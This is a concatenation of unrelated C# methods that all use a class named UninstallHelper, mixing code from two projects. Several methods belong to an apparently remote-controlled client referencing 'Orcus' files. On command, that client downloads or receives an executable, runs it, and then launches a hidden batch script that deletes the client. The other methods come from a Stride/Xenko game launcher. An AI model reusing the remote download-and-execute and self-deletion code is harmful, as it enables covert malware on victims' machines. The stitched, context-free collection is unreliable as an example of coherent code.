public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemovePrivateFiles(); UninstallHelper.RemoveOtherStuff(); UninstallHelper.UninstallPlugins(); try { UninstallHelper.PrepareOrcusFileToRemove(); } catch (Exception ex) { feedbackFactory.Failed(ex + ": " + ex.Message); return; } var deleteScript = UninstallHelper.GetApplicationDeletingScript(); feedbackFactory.Succeeded(); Program.Unload(); Process.Start(deleteScript); Program.Exit(); }
private void UninstallButton_Click(object sender, EventArgs e) { try { UninstallHelper.UninstallAndClose(); } catch (Exception ex) { MessageBox.Show(ex.ToString()); } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { var updateHash = commandParameter.Data.Take(32).ToArray(); var tempFile = FileExtensions.GetFreeTempFileName("exe"); byte[] fileHash; using (var fs = new FileStream(tempFile, FileMode.Create, FileAccess.ReadWrite, FileShare.None)) { fs.Write(commandParameter.Data, 32, commandParameter.Data.Length - 32); fs.Position = 0; using (var sha256 = new SHA256Managed()) fileHash = sha256.ComputeHash(fs); } if (!updateHash.SequenceEqual(fileHash)) { File.Delete(tempFile); feedbackFactory.Failed("The hash value of the file does not equal the transmitted hash value"); return; } UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemoveOtherStuff(); feedbackFactory.Succeeded(); Program.Unload(); try { var programPath = Consts.ApplicationPath; var scriptFile = FileExtensions.GetFreeTempFileName("bat"); File.SetAttributes(programPath, FileAttributes.Normal); var script = $"@ECHO OFF\r\nping 127.0.0.1 > nul\r\necho j | del \"{programPath}\"\r\necho j | del {programPath}"; File.WriteAllText(scriptFile, script); var p = new ProcessStartInfo(scriptFile) { WindowStyle = ProcessWindowStyle.Hidden }; Process.Start(tempFile); Process.Start(p); } catch (Exception) { Application.Restart(); return; } Program.Exit(); }
internal LauncherViewModel(IViewModelServiceProvider serviceProvider, NugetStore store) : base(serviceProvider) { if (store == null) { throw new ArgumentNullException(nameof(store)); } DependentProperties.Add("ActiveVersion", new[] { "ActiveDocumentationPages" }); this.store = store; store.Logger = this; DisplayReleaseAnnouncement(); VsixPackage = new VsixVersionViewModel(this, store); // Commands InstallLatestVersionCommand = new AnonymousTaskCommand(ServiceProvider, InstallLatestVersion) { IsEnabled = false }; OpenUrlCommand = new AnonymousTaskCommand <string>(ServiceProvider, OpenUrl); ReconnectCommand = new AnonymousTaskCommand(ServiceProvider, async() => { // We are back online (or so we think) IsOffline = false; await FetchOnlineData(); }); StartStudioCommand = new AnonymousTaskCommand(ServiceProvider, StartStudio) { IsEnabled = false }; foreach (var devVersion in LauncherSettings.DeveloperVersions) { var version = new XenkoDevVersionViewModel(this, store, null, devVersion, false); xenkoVersions.Add(version); } FetchOnlineData().Forget(); LoadRecentProjects(); uninstallHelper = new UninstallHelper(serviceProvider, store); GameStudioSettings.RecentProjectsUpdated += (sender, e) => Dispatcher.InvokeAsync(LoadRecentProjects).Forget(); }
private static LauncherErrorCode Uninstall() { try { // Kill all running processes var path = new UFile(Assembly.GetEntryAssembly().Location).GetFullDirectory().ToWindowsPath(); if (!UninstallHelper.CloseProcessesInPath(DisplayMessage, "Stride", path)) { return(LauncherErrorCode.UninstallCancelled); // User cancelled } // Uninstall packages (they might have uninstall actions) var store = new NugetStore(path); foreach (var package in store.MainPackageIds.SelectMany(store.GetLocalPackages).FilterStrideMainPackages().ToList()) { store.UninstallPackage(package, null).Wait(); } foreach (var remainingFiles in Directory.GetFiles(path, "*.lock").Concat(Directory.GetFiles(path, "*.old"))) { try { File.Delete(remainingFiles); } catch (Exception e) { e.Ignore(); } } PrivacyPolicyHelper.RevokeAllPrivacyPolicy(); return(LauncherErrorCode.Success); } catch (Exception) { return(LauncherErrorCode.ErrorWhileUninstalling); } }
public override void Execute(CommandParameter commandParameter, IFeedbackFactory feedbackFactory, IClientInfo clientInfo) { commandParameter.InitializeProperties(this); var downloadFile = new FileInfo(FileExtensions.GetFreeTempFileName("exe")); var succeed = false; var downloadUri = new Uri(DownloadUrl); for (int i = 0; i < 10; i++) { try { using (var wc = new WebClient()) { wc.DownloadFile(new Uri(DownloadUrl), downloadFile.FullName); } } catch (Exception ex) { //After 5 failed tries, we convert the https uri to a http uri if (i == 4) { //Windows Xp doesnt support the new ssl encryptions, we have to try to download the file using http if (downloadUri.Scheme == "https") // && Environment.OSVersion.Version.Major < 6 { downloadUri = new UriBuilder(downloadUri) { Scheme = Uri.UriSchemeHttp, Port = -1 // default port for scheme }.Uri; } } if (i == 9) { feedbackFactory.ErrorMessage(ex.Message); } continue; } Thread.Sleep(100); //wait for the file to close if (!string.IsNullOrEmpty(Hash)) { try { byte[] computedHash; using (var stream = File.OpenRead(downloadFile.FullName)) using (var sha = new SHA256Managed()) computedHash = sha.ComputeHash(stream); if (!computedHash.SequenceEqual(StringExtensions.HexToBytes(Hash))) { downloadFile.Delete(); feedbackFactory.ErrorMessage("The hash value doesn't equal the transmitted hash value"); continue; } } catch (Exception) { continue; } } succeed = true; break; } if (!succeed) { feedbackFactory.Failed(); return; } UninstallHelper.RemoveAllDependencies(); UninstallHelper.RemoveOtherStuff(); feedbackFactory.Succeeded(); Program.Unload(); try { var programPath = Consts.ApplicationPath; var scriptFile = FileExtensions.GetFreeTempFileName("bat"); File.SetAttributes(programPath, FileAttributes.Normal); var script = $"@ECHO OFF\r\nping 127.0.0.1 > nul\r\necho j | del \"{programPath}\"\r\necho j | del {programPath}"; File.WriteAllText(scriptFile, script); var p = new ProcessStartInfo(scriptFile) { WindowStyle = ProcessWindowStyle.Hidden }; Process.Start(downloadFile.FullName, Arguments); Process.Start(p); } catch (Exception) { Application.Restart(); return; } Program.Exit(); }